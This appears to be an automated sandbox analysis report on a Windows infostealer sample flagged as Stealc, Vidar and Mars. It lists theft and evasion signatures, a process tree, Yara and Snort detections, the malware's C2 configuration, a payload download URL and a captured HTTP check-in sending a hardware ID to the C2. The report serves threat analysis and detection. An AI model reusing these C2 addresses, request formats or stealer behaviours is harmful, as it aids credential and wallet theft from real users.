Edit tour

Windows Analysis Report
w3WOJ1ohgD.exe

Overview

General Information

Sample name:	w3WOJ1ohgD.exe renamed because original name is a hash value
Original sample name:	678d5e7b91062c3b4c1ea39343cda69a.exe
Analysis ID:	1431628
MD5:	678d5e7b91062c3b4c1ea39343cda69a
SHA1:	d73be2edfa050ee9ac434b310af55210b64375cf
SHA256:	3d4faa1e7f7466857b35c91bda2637ea24783903e14a94ee43508118b56ed17c
Tags:	32exetrojan
Infos:

Detection

Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found evasive API chain (may stop execution after checking mutex)

Found many strings related to Crypto-Wallets (likely being stolen)

Found stalling execution ending in API Sleep call

Machine Learning detection for sample

Overwrites Mozilla Firefox settings

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

w3WOJ1ohgD.exe (PID: 7428 cmdline: "C:\Users\user\Desktop\w3WOJ1ohgD.exe" MD5: 678D5E7B91062C3B4C1EA39343CDA69A)

cmd.exe (PID: 7944 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

FBKJDGCGDA.exe (PID: 8020 cmdline: "C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe" MD5: 6C93FC68E2F01C20FB81AF24470B790C)

WerFault.exe (PID: 8060 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7428 -s 2268 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.172.128.76/3cd2b41cbde8fc9c.php"}

Threatname: Vidar

{"C2 url": "http://185.172.128.76/3cd2b41cbde8fc9c.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1663513978.00000000024C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000003.1663513978.00000000024C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2070369316.00000000009F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2070369316.00000000009F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2070467335.0000000000A3F000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xc80:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2070369316.00000000009F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2070492271.0000000000A54000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: w3WOJ1ohgD.exe PID: 7428	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: w3WOJ1ohgD.exe PID: 7428	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: w3WOJ1ohgD.exe PID: 7428	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.w3WOJ1ohgD.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.w3WOJ1ohgD.exe.400000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.w3WOJ1ohgD.exe.9f0e67.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.w3WOJ1ohgD.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.w3WOJ1ohgD.exe.24c0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.w3WOJ1ohgD.exe.24c0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.3.w3WOJ1ohgD.exe.24c0000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.w3WOJ1ohgD.exe.24c0000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.w3WOJ1ohgD.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.w3WOJ1ohgD.exe.9f0e67.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.w3WOJ1ohgD.exe.9f0e67.1.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.w3WOJ1ohgD.exe.9f0e67.1.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 7 entries

Snort Signatures

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.172.128.76

Timestamp:	04/25/24-14:42:01.952405
SID:	2044244
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 185.172.128.76

Timestamp:	04/25/24-14:42:01.450782
SID:	2044243
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.172.128.76

Timestamp:	04/25/24-14:42:02.274526
SID:	2044246
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 185.172.128.76 - Destination IP: 192.168.2.4

Timestamp:	04/25/24-14:42:02.593795
SID:	2051831
Source Port:	80
Destination Port:	49731
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 185.172.128.76 - Destination IP: 192.168.2.4

Timestamp:	04/25/24-14:42:02.273123
SID:	2051828
Source Port:	80
Destination Port:	49731
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGDGDHDGDBFIDHDBAFHost: 185.172.128.76Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 39 30 34 43 32 46 42 44 42 34 33 37 35 30 37 37 33 35 36 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 2d 2d 0d 0a Data Ascii: ------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="hwid"B7904C2FBDB43750773564------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="build"default10------KJDGDGDHDGDBFIDHDBAF--

Source: w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.1
Source: w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.10n
Source: w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026ED1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exe
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exe00
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exet-Disposition:
Source: w3WOJ1ohgD.exe, 00000000.00000002.2070401885.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76
Source: w3WOJ1ohgD.exe, 00000000.00000002.2070492271.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/freebl3.dll
Source: w3WOJ1ohgD.exe, 00000000.00000002.2070492271.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/mozglue.dll
Source: w3WOJ1ohgD.exe, 00000000.00000002.2070492271.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/msvcp140.dll
Source: w3WOJ1ohgD.exe, 00000000.00000002.2070492271.0000000000A54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/nss3.dll$z
Source: w3WOJ1ohgD.exe, 00000000.00000002.2070492271.0000000000A54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/nss3.dllBz
Source: w3WOJ1ohgD.exe, 00000000.00000002.2070492271.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/softokn3.dll
Source: w3WOJ1ohgD.exe, 00000000.00000002.2070492271.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/sqlite3.dll
Source: w3WOJ1ohgD.exe, 00000000.00000002.2070492271.0000000000A86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/vcruntime140.dll
Source: w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cBn
Source: w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026EFB000.00000004.00000020.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2070492271.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026ED1000.00000004.00000020.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2070492271.0000000000B09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php71bb574811636c15fa1a905272a27release79d524d37ca609991fe296
Source: w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026ED1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpVDW
Source: w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpt
Source: w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b4Mn?
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.11.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: w3WOJ1ohgD.exe, w3WOJ1ohgD.exe, 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: w3WOJ1ohgD.exe, 00000000.00000002.2095378961.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2084129706.000000001AE5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: CAAKFIIDGIEHIDGCGHIIECGIJK.0.dr	String found in binary or memory: https://support.mozilla.org
Source: CAAKFIIDGIEHIDGCGHIIECGIJK.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CAAKFIIDGIEHIDGCGHIIECGIJK.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmp, w3WOJ1ohgD.exe, 00000000.00000003.1712798489.0000000020DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmp, w3WOJ1ohgD.exe, 00000000.00000003.1712798489.0000000020DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: CAAKFIIDGIEHIDGCGHIIECGIJK.0.dr	String found in binary or memory: https://www.mozilla.org
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: CAAKFIIDGIEHIDGCGHIIECGIJK.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: CAAKFIIDGIEHIDGCGHIIECGIJK.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: w3WOJ1ohgD.exe, 00000000.00000003.1780174631.000000002727E000.00000004.00000020.00020000.00000000.sdmp, CAAKFIIDGIEHIDGCGHIIECGIJK.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: CAAKFIIDGIEHIDGCGHIIECGIJK.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: w3WOJ1ohgD.exe, 00000000.00000003.1780174631.000000002727E000.00000004.00000020.00020000.00000000.sdmp, CAAKFIIDGIEHIDGCGHIIECGIJK.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe

Code function: 9_2_00072590 CreateMutexA,GetLastError,ExitProcess,OpenClipboard,GetClipboardData,GlobalFix,EmptyClipboard,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,GlobalFree,CloseClipboard,Sleep,

9_2_00072590

Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe

9_2_00072590

